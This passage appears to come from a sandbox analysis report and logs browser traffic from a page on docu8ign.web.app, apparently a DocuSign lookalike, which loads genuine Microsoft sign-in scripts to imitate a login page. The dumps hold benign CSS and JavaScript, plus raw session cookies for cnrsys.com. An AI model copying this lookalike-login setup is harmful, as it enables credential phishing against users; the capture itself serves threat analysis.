Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mong
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 61 72 79 2d 61 63 74 69 76 65 2c 2e 62 74 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 61 63 74 69 76 65 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 39 38 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 Data Ascii: ary-active,.btn.btn-primary:active,button.btn-primary:active,input[type="button"].btn-primary:active,input[type="submit"].btn-primary:active,input[type="reset"].btn-primary:active{outline:none;text-decoration:none;-ms-transform:scale(.98);-webkit-transfor
2024-09-27 06:18:40 UTC	5	IN	Data Raw: 6e 74 7d 2e 64 Data Ascii: nt}.d
2024-09-27 06:18:40 UTC	11814	IN	Data Raw: 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 3a 68 6f 76 65 72 2c 2e 6f 70 65 6e 20 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 30 30 37 38 64 37 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 30 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 2e 6d 65 6d 62 65 72 6e 61 6d 65 50 72 65 66 69 6c 6c 53 65 6c 65 63 74 2e 68 61 73 2d Data Ascii: ropdown-toggle.membernamePrefillSelect:hover,.open .dropdown-toggle.membernamePrefillSelect{border:1px solid #0078d7;border-top-width:0;border-left-width:0;border-right-width:0;background-color:#eee !important}.dropdown-toggle.membernamePrefillSelect.has-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49730	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	619	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_a6PeIgafSneuouox-qU5OA2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docu8ign.web.app sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:40 UTC	751	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870441 Cache-Control: public, max-age=31536000 Content-MD5: e+GEpArZIh9idGnWSOj0zg== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:40 GMT Etag: 0x8D99FD6608B3F3E Last-Modified: Thu, 04 Nov 2021 21:02:14 GMT Server: ECAcc (lhc/7930) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b39e474a-a01e-0051-724d-801217000000 x-ms-version: 2009-09-19 Content-Length: 470200 Connection: close
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 75 70 6c 69 63 61 74 65 52 65 71 75 65 73 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 55 6e 72 65 61 63 68 61 62 6c 65 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 55 6e 72 65 61 63 68 61 62 6c 65 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 43 61 6c 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 43 61 6c 6c 22 2c 55 73 65 72 32 57 61 79 53 4d 53 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f 75 6c 64 6e 74 53 65 6e 64 53 4d 53 3a 22 55 73 65 72 32 57 61 79 53 4d 53 41 75 74 68 46 61 69 6c 65 64 50 72 6f 76 69 64 65 72 43 6f Data Ascii: uplicateRequest",UserVoiceAuthFailedPhoneUnreachable:"UserVoiceAuthFailedPhoneUnreachable",UserVoiceAuthFailedProviderCouldntSendCall:"UserVoiceAuthFailedProviderCouldntSendCall",User2WaySMSAuthFailedProviderCouldntSendSMS:"User2WaySMSAuthFailedProviderCo
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 65 72 72 6f 72 54 65 78 74 3d 65 2c 74 2e 72 65 6d 65 64 69 61 74 69 6f 6e 54 65 78 74 3d 6e 2c 74 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 65 72 72 6f 72 54 65 78 74 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 32 29 3b 6e 2e 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 74 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 72 65 74 75 72 6e 20 74 3d 21 30 2c 61 2e 65 76 65 6e 74 41 72 67 73 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 2c 6e 7d 72 65 74 75 72 6e 20 61 2e 65 76 65 6e 74 41 72 67 73 3d 69 2e 6f 62 73 65 72 76 61 Data Ascii: {var t=this;t.errorText=e,t.remediationText=n,t.toString=function(){return t.errorText}}},function(e,n,t){var i=t(2);n.create=function(e){var n,t=!1;function a(){return t=!0,a.eventArgs(Array.prototype.slice.call(arguments)),n}return a.eventArgs=i.observa
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 6e 67 49 6e 70 75 74 54 79 70 65 53 75 70 70 6f 72 74 65 64 28 29 26 26 28 65 2e 74 79 70 65 3d 53 29 2c 65 7d 29 29 2c 6e 2e 6f 6e 50 72 69 6d 61 72 79 42 75 74 74 6f 6e 43 6c 69 63 6b 3d 6f 2e 63 72 65 61 74 65 28 29 2c 6e 2e 6f 6e 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 43 6c 69 63 6b 3d 6f 2e 63 72 65 61 74 65 28 29 2c 6e 2e 73 65 74 54 65 78 74 50 72 69 6d 61 72 79 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 70 72 69 6d 61 72 79 42 75 74 74 6f 6e 54 65 78 74 28 65 29 7d 2c 6e 2e 73 65 74 54 65 78 74 53 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 73 65 63 6f 6e 64 61 72 79 42 75 74 74 6f 6e 54 65 78 74 28 65 29 7d 2c 6e 2e 73 65 74 56 69 73 69 62 69 6c 69 74 79 50 72 69 6d 61 72 79 42 Data Ascii: ngInputTypeSupported()&&(e.type=S),e})),n.onPrimaryButtonClick=o.create(),n.onSecondaryButtonClick=o.create(),n.setTextPrimaryButton=function(e){n.primaryButtonText(e)},n.setTextSecondaryButton=function(e){n.secondaryButtonText(e)},n.setVisibilityPrimaryB
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 50 61 72 61 6d 73 3a 56 65 28 65 2e 46 6c 6f 77 54 6f 6b 65 6e 29 7d 3a 5b 5d 29 3b 69 66 28 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 70 3d 45 65 28 65 2c 21 30 2c 6e 29 3b 70 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 72 61 79 2e 66 6f 72 45 61 63 68 28 70 2c 41 65 29 2c 75 3d 75 2e 63 6f 6e 63 61 74 28 70 29 29 7d 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 46 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 5b 5d 3b 69 66 28 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 76 65 5b 50 52 4f 4f 46 2e 54 79 70 65 Data Ascii: Params:Ve(e.FlowToken)}:[]);if(ve[PROOF.Type.Email]&&ve[PROOF.Type.SMS]&&ve[PROOF.Type.Voice]){var p=Ee(e,!0,n);p.length>0&&(c.Array.forEach(p,Ae),u=u.concat(p))}return u}function Fe(e,n){var t=[];if(ve[PROOF.Type.Email]&&ve[PROOF.Type.SMS]&&ve[PROOF.Type
2024-09-27 06:18:40 UTC	5	IN	Data Raw: 63 63 6f 75 6e Data Ascii: ccoun
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 74 56 69 73 69 62 6c 65 2c 6b 3d 5b 5d 2c 50 3d 6e 75 6c 6c 2c 44 3d 69 2e 6f 62 73 65 72 76 61 62 6c 65 28 29 3b 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 52 28 65 29 2c 6e 2e 6f 6e 53 65 74 50 65 6e 64 69 6e 67 52 65 71 75 65 73 74 28 21 31 29 2c 6e 2e 6f 6e 53 77 69 74 63 68 56 69 65 77 28 66 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 21 31 2c 50 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 2c 69 3d 65 2e 67 65 74 4f 74 63 53 74 61 74 75 73 28 29 3b 73 77 69 74 63 68 28 52 28 65 29 2c 69 29 7b 63 61 73 65 20 6c 2e 53 74 61 74 75 73 2e 46 54 45 72 72 6f 72 3a 74 3d 53 2e 43 54 5f 4f 54 43 5f 53 54 52 5f 45 72 72 6f 72 5f 46 6c 6f 77 45 78 70 69 72 65 64 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 3d 50 2e 70 72 6f 6f 66 2e 73 74 72 2e Data Ascii: tVisible,k=[],P=null,D=i.observable();function E(e){R(e),n.onSetPendingRequest(!1),n.onSwitchView(f.OneTimeCode,!1,P)}function A(e){var t,i=e.getOtcStatus();switch(R(e),i){case l.Status.FTError:t=S.CT_OTC_STR_Error_FlowExpired;break;default:t=P.proof.str.
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 70 75 72 65 43 6f 6d 70 75 74 65 64 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 2e 63 75 72 72 65 6e 74 56 69 65 77 48 61 73 4d 65 74 61 64 61 74 61 28 22 65 78 74 72 61 44 65 62 75 67 44 65 74 61 69 6c 73 22 29 7d 29 29 2c 61 2e 73 68 6f 77 46 6f 6f 74 65 72 43 6f 6e 74 72 6f 6c 3d 69 2e 70 75 72 65 43 6f 6d 70 75 74 65 64 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 72 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 26 26 61 2e 70 61 67 69 6e 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 4d 65 74 68 6f 64 73 28 29 2e 68 Data Ascii: pureComputed((function(){return a.paginationControlMethods()&&a.paginationControlMethods().currentViewHasMetadata("extraDebugDetails")})),a.showFooterControl=i.pureComputed((function(){return!r&&a.paginationControlMethods()&&a.paginationControlMethods().h
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 65 3d 69 2e 53 65 72 76 65 72 44 61 74 61 3b 69 66 28 65 2e 73 74 72 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 73 74 72 22 2c 65 29 2c 65 2e 68 74 6d 6c 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 68 74 6d 6c 22 2c 65 29 2c 65 2e 61 72 72 50 72 6f 6f 66 44 61 74 61 3d 63 2e 67 65 74 53 74 72 69 6e 67 73 28 22 70 72 6f 6f 66 44 61 74 61 22 29 2c 21 68 26 26 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 69 66 28 74 6f 70 21 3d 3d 73 65 6c 66 26 26 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 32 3d 3d 3d 65 2e 69 46 65 64 53 74 61 74 65 26 26 65 2e 75 72 6c 46 65 64 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 69 29 7b 76 61 72 20 61 3d 69 2e 73 46 Data Ascii: e=i.ServerData;if(e.str=c.getStrings("str",e),e.html=c.getStrings("html",e),e.arrProofData=c.getStrings("proofData"),!h&&!function(e){try{if(top!==self&&top.location.replace(self.location.href),2===e.iFedState&&e.urlFed)return function(e,n,t,i){var a=i.sF
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 2c 6e 29 7b 65 2e 74 68 72 6f 74 74 6c 65 45 76 61 6c 75 61 74 69 6f 6e 3d 6e 3b 76 61 72 20 74 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 5f 2e 24 28 7b 72 65 61 64 3a 65 2c 77 72 69 74 65 3a 66 75 6e 63 74 69 6f 6e 28 69 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 29 2c 74 3d 5f 2e 61 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 69 29 7d 29 2c 6e 29 7d 7d 29 7d 2c 72 61 74 65 4c 69 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 2c 6f 2c 72 3b 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 74 3d 6e 3a 28 74 3d 6e 2e 74 69 6d 65 6f 75 74 2c 6f 3d 6e 2e 6d 65 74 68 6f 64 29 2c 65 2e 48 62 3d 21 31 2c 72 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 3f 6f 3a 22 6e 6f 74 69 66 Data Ascii: ,n){e.throttleEvaluation=n;var t=null;return _.$({read:e,write:function(i){clearTimeout(t),t=_.a.setTimeout((function(){e(i)}),n)}})},rateLimit:function(e,n){var t,o,r;"number"==typeof n?t=n:(t=n.timeout,o=n.method),e.Hb=!1,r="function"==typeof o?o:"notif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49731	152.199.21.175	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:39 UTC	641	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_-hjcgqxfzfu0cwzblacdqq2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docu8ign.web.app sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://docu8ign.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:40 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 15870441 Cache-Control: public, max-age=31536000 Content-MD5: GYbSFdLE8Xb9pCzSg7cJ6A== Content-Type: application/x-javascript Date: Fri, 27 Sep 2024 06:18:40 GMT Etag: 0x8D992B5E417004E Last-Modified: Tue, 19 Oct 2021 04:06:56 GMT Server: ECAcc (lhc/791E) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 271631a9-401e-00db-4d4d-804b57000000 x-ms-version: 2009-09-19 Content-Length: 43235 Connection: close
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 69 29 7b 69 66 28 6e 5b 69 5d 29 72 65 74 75 72 6e 20 6e 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 6e 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 69 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 6e 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6e 29 7b 6e 28 32 29 3b 76 61 72 20 69 3d 6e 28 31 29 2c 74 3d 6e 28 34 29 2c 72 3d 6e 28 35 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(i){if(n[i])return n[i].exports;var t=n[i]={exports:{},id:i,loaded:!1};return e[i].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var n={};return o.m=e,o.c=n,o.p="",o(0)}([function(e,o,n){n(2);var i=n(1),t=n(4),r=n(5),a=r.Strin
2024-09-27 06:18:40 UTC	16383	IN	Data Raw: 63 61 74 65 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 4f 70 74 69 6f 6e 5f 45 78 69 64 3d 22 53 69 67 6e 20 69 6e 20 74 6f 20 61 6e 20 6f 72 67 61 6e 69 73 61 74 69 6f 6e 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 48 65 6c 70 5f 44 65 73 63 5f 45 78 69 64 3d 22 53 65 61 72 63 68 20 66 6f 72 20 61 20 63 6f 6d 70 61 6e 79 20 6f 72 20 61 6e 20 6f 72 67 61 6e 69 73 61 74 69 6f 6e 20 74 68 61 74 20 79 6f 75 e2 80 99 72 65 20 77 6f 72 6b 69 6e 67 20 77 69 74 68 2e 22 2c 65 2e 43 54 5f 53 54 52 5f 46 69 64 6f 44 69 61 6c 6f 67 5f 44 65 73 63 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 6f 75 74 20 61 20 75 73 65 72 6e 61 6d 65 20 6f 72 20 70 61 73 73 77 6f 72 64 20 62 79 20 75 73 69 Data Ascii: cate",e.CT_STR_CredentialPicker_Option_Exid="Sign in to an organisation",e.CT_STR_CredentialPicker_Help_Desc_Exid="Search for a company or an organisation that youre working with.",e.CT_STR_FidoDialog_Desc="Sign in without a username or password by usi
2024-09-27 06:18:40 UTC	10469	IN	Data Raw: 2c 4b 6d 73 69 3a 32 38 7d 2c 6f 2e 55 73 65 72 50 72 6f 70 65 72 74 79 3d 7b 55 53 45 52 4e 41 4d 45 3a 22 6c 6f 67 69 6e 22 2c 45 52 52 4f 52 5f 43 4f 44 45 3a 22 48 52 22 2c 45 52 52 5f 4d 53 47 3a 22 45 72 72 6f 72 4d 65 73 73 61 67 65 22 2c 45 58 54 5f 45 52 52 4f 52 3a 22 45 78 74 45 72 72 22 2c 45 52 52 5f 55 52 4c 3a 22 45 72 72 55 72 6c 22 2c 44 41 54 4f 4b 45 4e 3a 22 44 41 54 6f 6b 65 6e 22 2c 44 41 5f 53 45 53 4b 45 59 3a 22 44 41 53 65 73 73 69 6f 6e 4b 65 79 22 2c 44 41 5f 53 54 41 52 54 3a 22 44 41 53 74 61 72 74 54 69 6d 65 22 2c 44 41 5f 45 58 50 49 52 45 3a 22 44 41 45 78 70 69 72 65 73 22 2c 53 54 53 5f 49 4c 46 54 3a 22 53 54 53 49 6e 6c 69 6e 65 46 6c 6f 77 54 6f 6b 65 6e 22 2c 53 49 47 4e 49 4e 4e 41 4d 45 3a 22 53 69 67 6e 69 6e 4e Data Ascii: ,Kmsi:28},o.UserProperty={USERNAME:"login",ERROR_CODE:"HR",ERR_MSG:"ErrorMessage",EXT_ERROR:"ExtErr",ERR_URL:"ErrUrl",DATOKEN:"DAToken",DA_SESKEY:"DASessionKey",DA_START:"DAStartTime",DA_EXPIRE:"DAExpires",STS_ILFT:"STSInlineFlowToken",SIGNINNAME:"SigninN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:40 UTC	794	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? HTTP/1.1 Host: cnrsys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; otTRaleSHwO5ofIElCiiijhfVFk=1727504313; meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; ZuEkyrklGF1CBRt5A7qtYcXb9O4=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; zEnEuj91S7R0AJxSrRV_wCsAUQA=1727417915; S-f7HVeKw3jZHc7j-xrPP51lHEE=1727504315; ZDbk1gXpcq4Sa0Y9D2ZondlRw74=xSwK5DLtLfziIvBBNjwsLzS6sts
2024-09-27 06:18:40 UTC	644	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 06:18:40 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 7960 Connection: close cache-control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BzUx9OrKmxjuG4eef%2BOjQ6PReJ8UY%2BCCfgaeh%2FmBPcdhWyFFoP4Vq41cXF5lSoCxCCUnX2LQEv%2F%2BBp5%2FBTAXQUFUyg8Z1yrr2oYDE5zj1QaaHPXtRJlUHSiIwmk6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9960b1499b7d05-EWR
2024-09-27 06:18:40 UTC	725	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 66 2c 67 2c 6c 2c 6d 2c 6e 2c 78 2c 79 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 55 2c 42 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 42 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 2d 70 61 72 73 65 49 6e 74 28 55 28 31 35 30 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 32 33 38 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 31 38 30 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 31 34 39 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 31 34 35 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 55 28 31 35 31 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 55 28 32 30 34 29 29 2f 37 2b 2d 70 61 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(V,f,g,l,m,n,x,y){V=b,function(c,d,U,B,C){for(U=b,B=c();!![];)try{if(C=-parseInt(U(150))/1(parseInt(U(238))/2)+-parseInt(U(180))/3+-parseInt(U(149))/4+-parseInt(U(145))/5(parseInt(U(151))/6)+parseInt(U(204))/7+-pa
